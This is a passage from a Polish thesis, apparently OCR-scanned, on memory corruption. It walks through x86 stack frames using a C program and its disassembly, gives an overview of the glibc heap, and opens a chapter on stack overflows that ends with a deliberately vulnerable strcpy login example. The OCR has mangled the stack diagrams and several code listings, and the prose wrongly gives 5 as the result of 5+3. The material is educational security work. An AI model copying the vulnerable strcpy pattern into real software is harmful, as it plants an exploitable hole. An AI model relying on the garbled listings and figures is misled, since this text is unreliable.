pracy, obserwacje poczynione w poézniejszej czgsci tego rozdziatu okaza si¢ kluczowymi do
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zrozumienia trudniejszych koncepcji, stojacych za atakami naduzycia wykorzystania pamigci.
Najpierw przedstawi¢ przyktadowy kod, ktory bede dalej analizowac:

1 | int main (int argc, char **argv) { main:
2 int wynik; 1| 0x401610 <+0>: push ebp
3 int a = 5; 2 | 0x401611 <+1>: mov ebp, esp
4 char bufor([8]; 3| 0x401613 <+3>: and esp, Oxfffffffo0
5 4 | 0x401616 <+6>: sub esp, 0x20
6 wynik = sumuj(a, 3); 5
7 return wynik; 6 | 0x4016le <+14>: mov [ebp-0xc], 0x5
8 } 7| 0x401626 <+22>: mov [esp+0x4], 0x3
9 | int sumuj (int a, int b) { 8 | 0x40162e <+30>: mov eax, [ebp-0x8]
10 int wynik = 0; 9 | 0x401632 <+34>: mov [esp]l, eax
11 short tmp[4]; 10 | 0x401635 <+37>: call 0x401644 <sumuj>
12 11 | 0x40163a <+42>: mov [ebp-0x8], eax
13 wynik = a + Db; 12 | 0x40163e <+46>: mov eax, [ebp-0x8]
14 return wynik; 13 | 0x401642 <+50>: leave
15 } 14 | 0x401643 <+51>: ret
sumuj:
15 | 0x401644 <+0>: push ebp
16 | 0x401645 <+1>: mov ebp, esp
17 | 0x401647 <+3>: sub esp, 0x10
18 | 0x40164a <+6>: mov [ebp-0x8], 0x0
19 | 0x401651 <+13>: mov edx, [ebp+0x8]
20 0x401654 <+16>: mov eax, [ebpt+0xc]
21 | O0x401657 <+19>: add eax, edx
22 | 0x401659 <+21>: mov [ebp-0x8], eax
23 | 0x40165c <+24>: mov eax, [ebp-0x8]
24 | 0x40165f <+27>: leave
25 | 0x401660 <+28>: ret

Listing 2.1. Kod jezyka niskiego poziomu - C z wynikiem deasemblacji jego odpowiednika maszynowego.
Zrédlo: opracowanie wlasne.

Po lewej stronie tabeli ukazano instrukcje zapisane w jezyku programowania C, za$ po prawej
stronie wynik deasemblacji (ang. disassemble) czyli interpretacji wynikowego ciaggu bajtow kodu
maszynowego na czytelng dla cztowieka postac listingu jezyka assemblera. Schemat stosu dla tego
programu zostal przedstawiony ponizej, na rysunku 2.15:

Adres Zawartoie stosu OxBFFF - wysokie adresy stosu
(hel040 nigistotng wartose «— (Poczgtkowy szezyt stosu) 1| int main{int argec, char** argwv) |
0xA03C nigistotna wartos¢ EBP poczgtkowe 2 int wynik;
03038 nigistotng wartosc +— ESP=(xAQ3R 3 int a = 5;
0xa034 nigistotng wartose 4 char bufor[8]:
0xA030 nigistotng wartos¢ 5
0xa02C nigistotng wartosc 6 wynik = sommj{a, 3);
0xa028 nigistotng wartosc 7 retorn wynik:
OxA024 nigistotna wartos¢ B}
0xA020 nigistotng wartosc 9 int sSumuj(int a, int b) {

5

0xA0iC nigistotng wartosc int wynik = 0;

0xA018 nigistotna wartos¢ # short tmp[4]:
0xA01< nigistotng wartosc 12

0xA010 nigistotng wartosc 13 wynik = a + b;
0xA00C nigistotna wartos¢ 14 retorn wynik:
0xRO08 nigistotng wartosc 15| }

0x2004 nigistotng wartos¢

0xA000 nigistotng wartos¢

0xB000 - niskie adresy stosu

Rysunek 2.15. Schemat interakcji kodu ze stosem. Zrédlo: opracowanie wlasne.

Obecnie system znajduje sie na adresie pierwszej instrukcji funkcji main. Odwotujac sie¢ do
listingu 2.1 stwierdzamy, ze poczatkowo rejestr EIP ma warto$¢ 0x401610. Zostato to zaznaczone
na rysynku 2.15 szarym kolorem tta instrukcji. Wykonanie programu rozpoczyna si¢ ha bloku
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otwierajacym funkcje main. Adres wskaznika stosu wskazuje pod 0xA038. Przyjrzyjmy si¢ najpierw
wynikowi deasemblacji funkcji main.

0x401610 <+0>: push ebp

0x401611 <+1>: mov ebp, esp
0x401613 <+3>: and esp, Oxfffffffo0
0x401616 <+6>: sub esp, 0x20
0x4016le <+14>: mov [ebp-0xc], 0x5
0x401626 <+22>: mov [esp+0x4], 0x3
0x40162e <+30>: mov eax, [ebp-0xc]
0x401632 <+34>: mov [esp], eax
0x401635 <+37>: call 0x401644 <sumuj>
0x40163a <+42>: mov [ebp-0x8], eax
0x40163e <+46>: mov eax, [ebp-0x8]
0x401642 <+50>: leave

0x401643 <+51>: ret

Listing 2.2. Wynik deasemblacji funkcji main.

Pierwsza instrukcja tej funkcji, znajdujaca si¢ pod adresem 0x401610 otwiera tzw. prolog
funkcji. Prologiem jest pewien staty zbior instrukcji otwierajacych i przygotowujacych ramke funkcji.
Ramka funkgcji, to taka struktura znajdujgca si¢ na stosie, ktora zawiera nastgpujace dane:

o  Wszystkie argumenty wywotania danej funkcji
e Adres powrotu z funkcji

e Adres poprzedniej ramki funkcji

e Zestaw zmiennych zakresu lokalnego

Najpierw, podczas wywotywania danej funkcji, wywotujacy odktada na stosie wszystkie jej
argumenty w kolejnosci od ostatniego do pierwszego. Nastgpnie, w wyniku wykonania instrukcji
CALL odktadany jest adres powrotu z funkcji. P6zniej, odktadany na stosie jest rejestr EBP, ktory
przechowuje adres ramki obecnie wykonywanej funkcji. Wobec tego, aby mozliwym byt powrot z
funkcji wewnetrznej do zewnetrznej, nalezy najpierw przywréci¢ ramke funkcji zewnetrznej, czyli
poprzednia wartos$¢ rejestru EBP. Funkcja odwotuje si¢ od swoich parametréw wywotania, oraz do
swoich zmiennych lokalnych poprzez odpowiednig indeksacje wzgledem rejestru EBP.

Parametr #N « [EBP+N*4+4]

— [EBP+0x0C]
Parametr 2

~ [EBP+0x08]
Parametr 1

— [EBP+0x04]
Adres powrotu

) ~ [EBP]
Poprzedni EBP

~ [EBP-0x04]
Zmienna lokalna 1

~ [EBP-0x08]
Zmienna lokalna 2

Tabela 2.2. Ramka funkcji adresowana poprzez indeksacje rejestru EBP. Zrédlo: opracowanie wlasne

Jak zauwazy¢ mozna w tabeli 2.4, odwolanie si¢ do argumentéw wywotania funkcji nastepuje
poprzez indeksacj¢ [EBP+Przesuniecie], za$ zmienne lokalne znajdujg si¢ pod adresami
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ujemnymi wzgledem rejestru EBP czyli [EBP-Przesuniecie], gdzie przesunigcie zalezy od
rozmiaru zmiennych poprzedzajacych zmienna do ktérej si¢ odwotujemy lub numeru argumentu
wywolania.

Wracajac teraz do naszej funkcji main przedstawionej na listingu 2.2., zauwazy¢ mozna, ze
pierwszg instrukcja jest odtozenie starej warto$ci rejestru EBP na stosie, tak aby mozna byto wyj$¢ z
tej funkcji do poprzedniej (tak si¢ sktada, ze funkcja int main nie jest pierwsza funkcja wykonywana
po uruchomieniu programu). Nastepne instrukcje. ..

0x401611 <+1>: mov ebp, esp
0x401613 <+3>: and esp, Oxfffffffo
0x401616 <+6>: sub esp, 0x20

...otwieraja prolog funkcji. Prolog ten ma na celu przygotowanie ramki obecnie rozpoczynanej
funkcji. Tutaj akurat najpierw wystepuje zaokraglenie wartosci rejestru ESP do wielokrotnosci liczby
16 poprzez natozenie maski bitowej i wykonanie koniunkcji na dolnych szesnastu bitach tego
rejestru. Nastepnie odejmowana jest od tego rejestru stata o wartosci 32. Oznacza to, ze prolog
funkcji main rezerwuje na potrzeby tej funkcji stos o wielkosci 32 bajtow (de facto plus od 0 do 15
bajtow uzyskanych na skutek koniunkcji). Zatem wszystkie zmienne lokalne i alokacje funkcji main
sprowadzaja si¢ do bufora 32 bajtowego. Pokaz¢ teraz wykonanie tych pierwszych instrukcji na
schematach. Na rysunku 2.15 zaznaczono, ze poczatkowa warto$¢ rejestru EBP WYN0Si 0xA040
(rejestr wskazuje pod ten adres). Poczatkowg za$ wartoscig dla rejestru ESP jest 0xA038. Tam tez
ustalany bedzie szczyt stosu podczas wejscia do funkcji main. Po wykonaniu pierwszej instrukcji
nastepuje odlozenie starej wartoSci EBP na stosie, nastepnie drugi rozkaz powoduje przypisanie
rejestrowi EBP warto$¢ obecng rejestru ESP. Trzeci rozkaz wykonuje obcigcie dolnych o$miu bitow
przesuwajac tym samym rejestr do granicy podzielnej przez szesnascie. Stan ten pokazuje ponizszy
schemat.

Adres Fawartodt stosu OxBFFF - wysokie adresy stosu

(e 040 nieistotng wartosc o« (Poczgthowy szczyt stosu)

0xA03C nigistotng wWartose N EBP poczgtkowe
(=A038 OxAD40 +— EBP = Ox&038

0xa03g nigistotng Wartose

Ozl 030 nieistotng wartost +—— F5SP = Ox&030

0xAQ2C nigistotng Wartose

0xA028 nigistotng wWartose

AwANas mioictatnm wamrtncs

Rysunek 2.16. Wynik wykonania pierwgzych trzech instrukcji funkcji main (bez czwartego rozkazu - sub).
Zrodto: opracowanie wlasne

Nastepnym krokiem jest alokacja bufora na zmienne lokalne. Wykonuje to instrukcja odjecia od
rejestru Esp, tak jak wczesniej wyjasniono. Instrukcje CALL ~ main spod adresu 0x401619
pominiemy, jako iz jest ona wynikiem pewnych optymalizacji kompilatora Gcc. Nie bedzie ta
instrukcja potrzebna do zrozumienia dalszych konceptow.

0x4016le <+14>: mov [ebp-0xc], 0x5
0x401626 <+22>: mov [esp+0x4], 0x3
0x40162e <+30>: mov eax, [ebp-0xc]
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0x401632 <+34>: mov [esp], eax
Listing 2.3. Kolejne instrukcje w funkcji main. Zrédto: opracowanie wlasne

W instrukcji pod adresem 0x4016le zauwazy¢ mozna inicjalizacj¢ zmiennej drugiej w
kolejnosci na stosie (adres EBP-8, nie za§ EBP-4). Przypisywana jest jej warto$¢ 5. Stanowi to
odpowiednik instrukcji jezyka C z linii 3-ej, w ktorym zadeklarowano int a = 5; Zmienna a
znajduje si¢ zatem pod adresem EBP-8, za$ zmienna Wynik pod EBP-4. Dalej powinny pierwotnie
wystapic instrukcje PUSH, pod adresami 0x401626 0raz 0x401 632, jednakze znow na skutek roszad
kompilatora Gcc uzyskano odpowiednik tych instrukcji jakim jest bezposrednie przeniesienie
warto$ci 3 na szczyt stosu, po to by pdzniej odlozy¢ warto$¢ ze zmiennej a pozycje nizej. To
wszystko stanowi odlozenie argumentow wywotania funkcji. Pokazano to na schemacie:

Adres Zawartoié stosu 0xBFFF - wysokie adresy stosu

OmcA040 niefstotna wartosé «— (Poczqtkowy szczyt stosu)

0xA03C nigistotna wartose N EBP poczgtkowe

o
J—% 034038 OxAD40 <+—— EBP = 0xAD38
E 0xa034 nieistotng wartose
E \ 03030 nieistotng wartosé
E (020 5 (EBP-0x0C)
ﬁ 0xA028 nieistotng wartosc
é OxAQ24 nieistotng wartosé
E O0xAQ20 nieistotng wartosé
E O0xAQ1C nieistotng wartosé
'ﬁ 0xA018 nigistotng wartoscé
g 03014 3 (ESP+0x04)
g ¥ 0ml010 5 +— ESP = IxADID
E 0xA00C nigistotng wartosc
&  OxADOE nigistotng wartosc
0xA004 nigistotng wartosc

0xA000 nigistotng wartosc

0x8000 - niskie adresy stosu

Rysunek 2.17. Wyglgd stosu po wykonianiu instrukcji 0x401 632, tuz przed wywolaniem <sumuj>. Zrédlo:
opracowanie wlasne

Na rysunku 2.17 zaznaczono kolorem zakres bufora przeznaczonego na zmienne lokalne funkcji
main. Na skutek obciecia dolnych o$miu bitow (pierwotnie ESP miat adres 0xA038) oraz odjeciu
0x20 uzyskano poczatek bufora zmiennych lokalnych pod adresem EsP=0x2010. EBP przechowuje
stary adres szczytu stosu, a jednocze$nie ramke funkcji. Teraz w instrukcji 0x40161e nastepuje
przeniesienie wartosci 5 do zmiennej lokalnej, nastgpnie wrzucenie 3 na stos (odpowiednik instrukcji
PUSH). Pozniej z powrotem wczytanie wartosci zmiennej lokalnej a do rejestru EaX, odtozenie go
na stosie. W instrukcjach 0x401626 i 0x401632 mamy do czynienia z odktadaniem parametréw na
stosie w celu wywotania funkcji <sumuj>. Spojrzmy zatem dalej, co si¢ stanie po wykonaniu
instrukcji:

0x401635 <+37>: call 0x401644 <sumuj>
0x40163a <+42>: mov [ebp-0x8], eax
0x40163e <+46>: mov eax, [ebp-0x8]

Sytuacje z powyzszego listingu przedstawia ponizszy schemat:
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Adres Zawartoié stosu OxBFFF - wysokie adresy stosu

(bl 040 nieistotna wartost «— [Poczgtkowy szczyt stosu) 1| int main(int argc, char** argv) |
o OxA03C Mieistotna wartost * EBP poczgtkowe 2 int wynik;
:ﬁ (A0 38 0xAD40 +— FBP = 0xAQ38 3 int a = 5;
E 0xa034 nigistotng wartosc 4 char bufor[8];
E e nigistotng wartose 5
E (red02c &5 (EBP-0x0C} & wynik = sumuij(a, 3);/
c | oxaozs nigistotng wortos¢ 7 return wynik;
é OxA02£ nigistotng waortos¢ Bl }
E 0xA020 nigistotng wartos¢ 9| int soomj(int a, int b) {
E OxA01C nieistotng wartos¢ 10 int wynik = 0
'ﬁ 0xA018 nigistotng wartosc 11 short tmp[4]:
E (reA014 3 (ESP+0w04} 12
§ ¥ (med010 5 13 wynik = a + br
ﬁ 0xA00C O0x40163a +—— ESP = 0xa010 14 return wynik:
& 0xh0og nigistotna wartosé 15] }
0xA004 nigistotng wartosd
0xA000 nigistotng wartosé

0x8000 - niskie adresy stosu

Rysunek 2.18. Moment wywolania funkcji <sumuj>. Zrédlo: opracowanie wlasne

Na rysunku 2.18 przedstawiono moment, w ktorym stan stosu opisuje program po wejsciu do
funkcji sumuj. W wyniku wykonania instrukcji CALIL pod adresem 0x401635, nastgpito
przeniesienie wykonania do procedury pod adresem 0x401644 (funkcja sumuj). Jednoczesnie
odtozony zostal adres nastgpnej instrukcji po wywotaniu tej funkcji, a wige instrukcji 0x40163A,
ktora przenosi wynik dziatania funkcji sumu;j (zawarty w rejestrze £ax) do zmiennej lokalnej wynik.
Prolog funkcji <sumuj>:

sumuj:
0x401644 <+0>: push ebp
0x401645 <+1>: mov ebp, esp
0x401647 <+3>: sub esp, 0x10

Na poczatku tej funkcji znajduje odtozenie adresu starej ramki funkcji (ramki funkcji main).
Nastepnie zachowywany jest obecny adres szczytu stosu i alokowane miejsce na stosie na 16 bajtow
Po wykonaniu tych instrukcji z prologa funkcji sumuj, stos bedzie wygladat nastepujgco:

VXAVIL TEISTOUNG WOTTOSC T EOY pOCITROWE
OxA038 OxA040
Oxa034 nieistotno wortose

0xA030 nieistotno wartosé

OxA02C 5 (EBP-Ox0C)
OxA028 nigisIonG wortost
OxA024 nigistotng wortost
0xA020 nigistotno wortosc
O0xA01iC nigistotno wortosc
0xA018 nieistotno wortosc
OxA014 3 (ESPeQu03)
' OxA010 5
OxAQ0C 0x40163a
0xA008 0xA038 +—— EBP = 0xA008

OxA004 nigistotnc worto$é

OxA000 nigistotno wortosé

OxA

OxSFFC nieistotne wartos¢

OX9FF8 nieistotna wartosd *— ESP = OXOFFC
OXSFF4 RISISTOtNG wortosé

Rysunek 2.19. Stos po wykonaniu prologa funkcji <sumuj>. Zrédlo: opracowanie wlasne
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Na rysunku 2.19 kolorem jasnozielonym oznaczono tym razem obszar zarezerwowany na
zmienne lokalne funkcji sumuj. W wyniku odjecia wartosci 16 od rejestru ESP zaalokowano tym
samym miejsce na 16 bajtow. Wynika to migdzy innymi z zadeklarowanej zmiennej wynik typu int
o rozmiarze czterech bajtow, w linii 10-tej listingu w tabeli 2.2. Kolejne 8 bajtow zajeta tablica tmp
o wielkosci czterech obiektow typu short, a wige o rozmiarze dwoch bajtow. To razem dato 8 + 4 =
12 bajtow, w tym dodatkowe cztery bajty dodane przez kompilator Gcc, co poskutkowato odjeciem
akurat szesnastu od rejestru Esp. Dalszymi instrukcjami z ciata funkcji sumuj sa:

0x4016d4a <+6>: mov [ebp-0x8], 0x0
0x401651 <+13>: mov edx, [ebpt+t0x8]
0x401654 <+16>: mov eax, [ebpt+0xc]
0x401657 <+19>: add eax, edx

0x401659 <+21>: mov [ebp-0x8], eax
0x40165c <+24>: mov eax, [ebp-0x8]

Listing powyzszy najpierw w pierwszej instrukcji inicjalizuje zmienng lokalng wynik wartoscia

0. Nastgpnie przenosi pierwszy argument a do rejestru EDx, drugi argument b do rejestru Eax, po to
by ostatecznie w instrukcji 0x401657 zsumowac razem te dwie warto$ci i odtozy¢ je do pierwszej
zmiennej lokalnej wynik. Ta warto$¢ nastepnie przesytana jest z powrotem do rejestru Eax (ponownie
nieudolna generacja kodu GCC, bez optymalizacji). W wyniku wykonania tych instrukcji, dla
podanych warto$ci argumentow, EAX ostatecznie otrzyma warto$¢ 5. Podczas wychodzenia z funkcji,
warto$¢ zwracana przekazywana jest poprzez rejestr Eax. Dalsze instukcje w funkcji sumuj
nazywane sg epilogiem funkcji i zajmujg si¢ zwolnieniem ramki funkcji ze stosu i powrotem z
funkciji:

0x40165f <+27>: leave

0x401660 <+28>: ret

Instrukcja LEAVE jest odpowiednikiem nast¢pujacych polecen:

LEAVE:
ESP « EBP;
EBP « POP();

Epilog w tym przypadku polega na przywroceniu poprzedniej wartosci rejestru ESP i $ciagnigciu
obecnej warto$ci ze stosu do rejestru EBP celem przywrocenia poprzedniej ramki stosu. Obie te
instrukcje jednoczesnie implementuje rozkaz LEAVE. Teraz jesli chodzi o kolejng instrukcje, jaka
jest RET to nalezy wyjasni¢, ze jest to instrukcja powrotu z funkcji. Instrukcja ta moze by¢
parametryzowana iloscia podwojnych stow (w architekturze x86) do $ciagnigcia ze stosu podczas
wychodzenia z funkcji (zgodnie z konwencja wywotan  stdcall). Czasami zamiast stosowania
parametru rozkazu RET stosuje si¢ dodatkowg instrukcje w epilogu, dodajgca do ESP odpowiednia
warto$¢. Sama instrukcja RET moze by¢ przyblizona nastepujacym pseudokodem:

RET n:
EIP « POP();
ESP « ESP + (n - 4)

Sciagniety ze stosu adres powrotu przekazywany jest do rejestru EIP przekierowujac tym samym
procesor do instrukcji nastgpujacej po wywotaniu funkcji z ktorej powracamy. W przypadku
testowanego kodu wykonanie zakonczy si¢ W miejscu:

0x40163a <+42>: mov [ebp-0x8], eax
0x40163e <+46>: mov eax, [ebp-0x8]

35



Instrukcje powyzsze przeniosa wynik dziatania funkcji sumuj do zmiennej lokalnej, a nastgpnie
z powrotem do rejestru EAX dzigki czemu zostang zwrocone w wyniku dziatania funkcji main. Stos
po powrocie z funkcji sumuj bedzie wygladat nastepujaco:

Adres Zawartesié stosu OxBFFF - wysokie adresy stosu
0eel040 nieistotna wartosc +— (Poczgthowy szczyt stosu) 1| int main(int argc, char** argv) [
0xA03C nigistotna wartosé N EBP poczatkowe 2 int wynik;
(scl038 DxAD4D +—— FBP = IxAO038 3 int a = 5;
0xa034 nigistotna wartosé 4 char bufor[8]:
(=030 nigistotng wartosc 5
(el 02C 5 (EBP-0%0C) 6 wynik = sumuj(a, 3);
0xA028 nigistotna wartosé 7 retorn wynik:
0xA024 nigistotng wartosé B| }
0xA020 nigistotna wartosé 9 int suwmj (int a, int b) {
0xA01C nigistotng wartosé 10 int wynik = 0;
0xA018 nigistotna wartosé 11 short tmp[4]:
(014 3 (ESP+0x04) 12
(010 5 13 wynik = a + b;
0xAQOC 0x40163a *+—— ESp = OxOFFC 14 return wynik;
OxAOOE OxA038 15( }
0xA004 nigistotng wartosc
0xA000 &
OxSFFC nigistotng wartosc
(9FF8 nigistotna wartosc
0x3FF< nigistotng wartosc

0x8000 - niskie adresy stosu

Rysunek 2.20. Stan stosu po powrocie z funkcji sumuj. Zrédlo: opracowanie wlasne.

Z racji iz byt to krotki program (oraz kompilator Gcc stosuje inne metody generacji kodu
maszynowego), to tez jak pokazano na rysunku 2.20, nie nastgpito tutaj Sciagnigcie argumentow
wywotania funkcji sumuj ze stosu po powrocie. Zauwazy¢é mozna rowniez, ze na stosie ponizej
adresu 0xA00C pozostaty wartosci uzywane przez funkcje sumuj. Stanowig one teraz smieci na stosie
i sg traktowane jako warto$ci niezdefiniowane. Rejestr ESP powrdcit do pozycji sprzed odtozenia
adresu powrotu, rejestr EBP wskazuje ponownie na poprzednig ramke funkcji, jaka jest ramka funkcji
main.

W tym podrozdziale oméwiono w petni mechanizm obstugi stosu przez system operacyjny oraz
procesory architektury x86. Pokazano réwniez jak wyglada obstuga stosu podczas wywolywania
funkcji oraz podczas podstawowych operacji na stosie. Ta wiedza bardzo bedzie potrzebna podczas
omawiania atakow przepetienia buforéw na stosie w dalszej czesci tej pracy. W ramach tych
atakow, pola oznaczone tutaj kolorami jasnozottym oraz jasnozielonym begda naszymi celami
atakow. Poprzez przepekienie tych po6l bede w stanie uzyska¢ zdalne wykonanie kodu w kontekscie
uruchomionego watku, a to wszystko na skutek kontroli rejestru E1P podczas powrotu z funkcji. Do
tych zagadnien jednakze wroce w nastepnym rozdziale tej pracy.
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2.5. Sterta programu

Sterta (ang. Heap) programu, nazywac bedziemy globalnie dostgpna strukture, obszar w pamieci,
ktory udostgpnia¢ bedzie magazyn na alokowane dynamicznie zasoby. Kazdy taki zaalokowany
dynamicznie bufor bedzie istnial oznaczony jako zarezerwowany, do czasu, az kto§ go zwolni
(nastgpi dealokacja). Przestrzen ta stanowi dopetnienie do magazynu danych jakim jest standardowy
stos programowy. Stos z racji swojej statycznej natury — pozwala na osadzanie zmiennych, tablic i
wszelakich buforéow jedynie dla znanych wczesniej rozmiarow, gdzie sterta nie narzuca takiego
ograniczenia. Biblioteka jgzyka programistycznego C o nazwie GNU libc (biblioteka stosowana w
systemach uniksowych) implementuje operacje na stercie za pomoca funkcji typu
malloc/free/realloc/calloc itd. zgodnie ze standardem 1s0/IEC C99. Implementacja tych
alokatorow wczesniej korzystala z pracy Douga Lea, ktory opublikowal kod przedstawiajacy
przyktadowy alokator [28]. Spemia¢ on miat w jak najkorzystniejszym stosunku wymogi
kompatybilnosci i zgodnosci z konwencjami ANSI/POSIX, mozliwie najlepsza przenosnosc,
minimalizacje wykorzystywanej przestrzeni na stercie w ramach kolejnych alokacji, minimalizacje
czasu pracy, duza lokalnos¢ blokow danych i inne. W efekcie, opracowany przez Lea kod stat si¢
podstawowym alokatorem ktory wszedt w sktad biblioteki libc pod nazwg dimalloc. Obecnie
stosowane sa nowe podejscia do problemu obstugi sterty, a wraz z nimi nowe alokatory tj. na
przykiad ptmalloc2 wspierajacy wielowatkowe alokacje.

Alokowanie przestrzeni na stercie w typowym scenariuszu, zgodnym z zasadami biblioteki libc,
odbywa si¢ w duzej mierze poprzez wydzielanie podprzestrzeni o zadanej oczekiwanej pojemnosci
z juz dostepnej, pre-alokowanej przestrzeni globalnej sterty procesu, ktora powstata podczas fazy
tworzenia procesu (w celu uruchomienia programu). Wigksza pula przeznaczona do partycjonowania
powstaje na skutek zmapowania regionu pamigci procesu i oznaczenia go jako przeznaczenie na
potrzeby sterty, po to by nastepnie nada¢ mu odpowiednie atrybuty stron pami¢ci oraz wypeic¢
stosownymi strukturami kontrolujacymi. Region tej pamigci nazwiemy pulg roboczq 1 bgdzie on
stanowil gtdéwny obszar roboczy sterty. Z tej puli roboczej alokowane bedg dodatkowe tzw. chunki
(kawatki) czyli pomniejsze bufory potrzebne w trybie dynamicznym podczas wykonywania si¢
programu. W momencie w ktorym puli roboczej zacznie brakowa¢ miejsca, wykorzystany zostanie
ostatni obszar tej puli, nazywany wilderness chunk iem (nazwany tak przez Kiem-Phong Vo), ktorego
system moze rozszerzy¢ poprzez doalokowanie dodatkowej pamieci — Stanowi to konsekwencje¢
faktu bycia ostatnim blokiem puli roboczej. Miejsca dla kolejnych alokacji beda wyszukiwane
algorytmami zaimplementowanymi w ramach alokatora (dimalloc, ptmalloc2, itp). Algorytmy te
beda przeszukiwaé listy podwdjnie lgczone (rzadziej jednokierunkowe — w przypadku tzw.
fastbin’ow) w celu odnalezienia takiego regionu wolnej, niezalokowanej do tej pory przestrzeni,
ktory spelni wymog pojemnosciowy przekazany podczas wywotania funkcji malloc. Wspomniane
listy beda opisywaty wszystkie wolne dotad regiony pamieci zawarte w puli roboczej co pozwoli na
szybkie i efektywne znalezienie takiej ,,dziury”, ktora spelni wymog pojemnosciowy i pozwoli na
zakonczenie alokacji. Listy wskaznikow do wolnych przestrzeni bedziemy nazywac binami (ang.
kubetkami).

Nawigacje pomiedzy alokacjami nastgpuja poprzez przesuwanie adresu o wielko$¢ obecnie
rozpatrywane] alokacji, badz poprzez odwotywanie si¢ do nastgpnych wskaznikéw w ramach
dynamiki poruszania si¢ po listach jedno/dwu-kierunkowych. Na potrzeby wizualizacji, mozna
stwierdzi¢, ze sterta to jedna lub wigcej sekcji cigglej przestrzeni pamigci zaalokowanych 1 wolnych
blokéw pomieszanych migdzy sobg. Taka organizacja pamigci jest dos¢ ciekawa z punktu widzenia
mozliwych naruszen integralnosci sgsiadujagcych migdzy soba blokow.

Sterta programu jako koncept zostala omowiona w tym podrozdziale tylko po krotce, tak aby
umozliwi¢ zrozumienie podstaw dziatania programu w pamigci i jego odniesienia do mechanizmow
zarzadzajacych tg pamigcig. Bardziej szczegétowy opis struktury zostanie opisany w rozdziale
dotyczacym naruszen sterty.
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3. Bledy naruszen stosu

Z blgdami naruszen stosu bgdziemy mieli do czynienia, kiedy uktad pamieci przydzielonej na
struktury zawarte na stosie ulegnie zniszczeniu w przewidywalny sposob. Przez zniszczenie uktadu
pamigci mozna rozumie¢ nadpisanie granic réznych struktur — takich jak ramki funkcji lub
przestrzeni przeznaczonej na zmienne lokalne, znajdujace si¢ w obecnie wykonywanej (badz
dowolnie innej) funkcji. Bledy naruszen pamieci na stosie najczesciej wynikaja z problemu
przepetnienia bufora zaalokowanego w obrebie bloku pamieci, wewnatrz stosu, przeznaczonego na
zmienne lokalne danej funkcji. Poprzez brak odpowiednich testow zakresu tablic, ograniczania ilo$ci
wczytywanych do bufora danych z niezaufanego Zrédta — jakim jest wejscie od uzytkownika,
przewarzany plik, dane pochodzace z sieci internet (np. poprzez mechanizm socket '6w), zawarto$¢
zmiennej $Srodowiskowej, dane otrzymane droga komunikacji miedzyprocesowej (IPC — Inter-
process Communication, droga np. mechanizmu potokéw / pipe) itd. Wszystkie te zrodta danych
stanowig granice interakcji uzytkownika (lub zewnetrznego $rodowiska) z programem i na mocy
koniecznosci okazywania braku zaufania wszelakim danym wejsciowym — wszelkie informacje
pobierane z tych zrédet powinny by¢ podwazane w kazdy mozliwy sposob. Testowane powinny by¢
dane tak, aby byly zgodne z oczekiwanym w danym miejscu typem, dlugoscig spodziewanego
strumienia bajtow, zakresem wartosci dla zmiennej pochodzacej z niezaufanego zrodta, formatem
otrzymanych danych, obecnoscig lub brakiem spodziewanych wartosci kluczowych itd. Brak tego
typu testow, lub rozluznienie wobec chocby jednemu obszarowi przetwarzanych danych, moze
spowodowa¢ natychmiastowe naduzycie kodu i w efekcie doprowadzi¢ nawet do przejgcia kontroli
nad maszyng, ktora uruchomita dany program. W wyniku przepelnienia bufora, ktéry stanowi
fundament bledow naruszen stosu, mozna wyr6zni¢ nastepujace naduzycia:

e Mozliwos¢ nadpisania adresu powrotnego z funkcji, w ktérej obecnie znajduje si¢
program, co doprowadzi¢ moze do przekierowania przeptywu wykonania si¢ programu
do bufora kontrolowanego przez atakujacego. Bufor taki zawiera¢ wtenczas bedzie ciag
instrukcji do wykonania na zdalnej maszynie i najczesciej ten ciag rozkazow doprowadzi
do nawiazania polaczenia z atakujacym i otworzenia mu dostgpu do lokalnej powtoki
systemu (ang. shell), przez co zasadniczo atakujacy zyska mozliwo$¢ uruchamiania
dowolnych polecen w ramach tokenu bezpieczenstwa uzytkownika, ktéry uruchomit ten
program (lub w przypadku ustawienia na tym programie specjalnego bitu SUID — w
ramach tokenu wiasciciela tego programu).

e Mozliwos¢ modyfikacji dowolnych zmiennych lokalnych znajdujacych si¢ w ramce
obecnej funkcji lub jakiejkolwiek poprzedniej funkcji w stosie wywotan. Doprowadzi¢
to moze do uzyskania roznych efektow ubocznych, zaleznych od kontekstu
wykorzystania zmiennej. W niektorych przypadkach doprowadzi to do podniesienia
przywilejow atakujacego z mniej do bardziej uprawnionych. W innych przypadkach
moze pomoc w przejeciu kontroli nad maszyna, na skutek doprowadzenia do
uruchomienia innego programu na maszynie — np. wystartowania nowego procesu z
powloka systemowa, ktora potaczy si¢ z atakujgcym.

e Mozliwos¢ nadpisania wartosci znajdujacej si¢ pod globalnie dostgpnym adresem (poza
stosem programu). Ma to odniesienie do sytuacji, w ktorych np. ktdry$ z argumentow
wywotania funkcji stanowil adres zmiennej, ktora uzyska zwrotng warto$¢. W wyniku
wykonania tej funkcji — pod dany adres zostanie wpisana pewna przewidywalna z gory
warto$¢. Atakujacy moze tak poinstruowac stos wywotan, aby funkcja do ktorej
wykonanie powrdci, w wyniku przetwarzania argumentow wejsciowych — arbitralnie
nadpisala wskazany przez atakujacego adres kontrolowang przez atakujacego wartoscia.
Taki zapis umozliwi dowolng modyfikacje pamigci procesu, w efekcie czego mozeto
doprowadzi¢ do podobnych konsekwencji jak te opisane w poprzednim podpunkcie.
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o Mozliwos¢ nadpisania wskaznika funkcji, ktory bedzie dalej wykorzystany do wywotania
tejze. Mowa tutaj zwlaszcza o wskaznikach funkcji obstugujacych wyjatki, zaistniate
zdarzenia, lub np. destruktory obiektow i funkcje obstugi zwalniania pamigci. Takie
nadpisanie wskaznika funkcji doprowadzi do sytuacji, w ktorej powrot z funkeji choé
moze nie zakonczy si¢ od razu wykonaniem kodu atakujacego, to gdy tylko wywotany
zostanie adres wskazywany przez dany wskaznik funkcji — wtedy adres podany przez
atakujacego w tym wskazniku automatycznie uzyska wykonanie, czym moze udac si¢
osiaggna¢ efekty opisane w pierwszym podpunkcie tej listy.

Majac przyblizone rozne scenariusze wynikajace z naduzycia btgdow naruszen pamigci na stosie,
mozna teraz przej$¢ do przedstawienia najprostszego mozliwego kodu obrazujacego problematyke
takich naduzy¢:

void bank () {
printf ("Welcome to your bank account\n");

}

int login(char *pass) {
char buffer[32];

strcpy (buffer, pass);
if(!strcmp (buffer, "secret'")) {
return I1;

}

return 0;

int main (int argc, char** argv) {
int authorized = 0;

authorized = login(argv([1]);
if (authorized) {
bank () ;
}
}

